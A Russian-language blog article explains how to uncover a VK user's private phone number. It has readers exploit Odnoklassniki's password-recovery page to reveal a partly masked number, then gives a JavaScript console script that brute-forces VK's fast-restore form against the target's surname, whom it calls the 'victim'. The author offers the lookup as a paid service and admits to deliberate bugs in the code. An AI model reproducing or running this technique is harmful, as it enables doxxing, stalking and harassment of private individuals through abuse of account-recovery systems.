Узнаем номер телефона пользователя по его странице в VK

В этой статье речь пойдет о том, как получить номер телефона человека по его странице в VK. Это трудный, топорный и очень муторный способ, хотя возможно, номер можно будет получить и другими способами, в зависимости от целевого человека.

Содержание данной статьи носит чисто ознакомительный характер, мы не в коем случае не призываем вас к каким либо действиям. Администрация сайта не несёт никакой ответственности за совершённые вами действия.



Поиск минимальной информации

Для начала, нам нужно найти минимальную информацию о человеке, его имя, желательно настоящую фамилию, либо ник.

По имени или фамилии — ищем профиль в одноклассниках, копируем ссылку на профиль.

Итак, у нас есть ссылка на профиль одноклассников, далее выходим из своего аккаунта, жмем, забыли пароль, в селекторе, выбираем что знаем только ссылку на профиль… Выбрали

Вставляем ссылку на профиль, жмем продолжить, и видим, что одноклассники любезно выдали нам номер, без последних 4-х цифр(работает только в случае, если на аккаунт не привязана почта), в итоге номер будет выглядеть так, если он из РФ: +7xxxxxx****
Осталось какие-то 4 цифры, а это всего-лишь 10 тысяч комбинаций, прозванивать каждую, и спрашивать кто это — не вариант

Т.К у нас есть ВК, идем перебирать номер в нем, выходим из своего ВК, вводим заведомо неправильный пароль, (!) к своему логину или номеру телефона

В подробности кода вдаваться не буду, скажу только то, что по нему нету туториалов, и вообще, его нигде нету. А еще в коде допущены несколько ошибок, чтобы всякие школьники не ломали всех подряд. Хочешь найти ошибку — учи JS и разбирай как работает этот код 🙂

//Если лень возиться с кодом, то напиши мне в ВК(https://vk.cc/8asNXL), договоримся 🙂

var pl = 0;
var flag = false;
setInterval(function(){
 pl++;
 if(pl < 1000){
  document.getElementById("fast_restore_phone").value = "+7000000" + pl; //Заменяем номер в кавычках, на известные цифры
  Login.fastRestore(false, 'restore-code');
  if(document.getElementsByClassName("error").length == 0){
   document.getElementById("fast_restore_name").value = "ФАМИЛИЯ"; //меняем на фамилию, которая указана на странице жертвы
   Login.fastRestore(false, 'restore-code');
   if(document.getElementsByClassName("box_layout").length != 0){
    if(!flag){
     console.info("OK When Buffer: +7000000" + (pl-1)); //Тоже меняем номер
    }
    flag = true;
   }
   if(document.getElementById("fast_restore_code")){
    console.info("OK SUCCESS: +70000000" + pl); //И тут
   }
   return false;
  }
 }else{
  console.info("SUCCESS By BUFFER LOAD");
 }
}, 1500);

Этот код просто вставляем в консоль (F12), на той странице, которая появилась в результате ввода неверной комбинации логин-пароль, и ждем, перебор может занять некоторое время, но это лучший способ узнать номер, если его нету в публичном доступе 🙂

Если лень возиться с кодом, то напиши мне в ВК(vk.com/bytecode), договоримся

Понравилось? Поделись! Еще больше статей по разработке и безопасности есть на нашем сайте.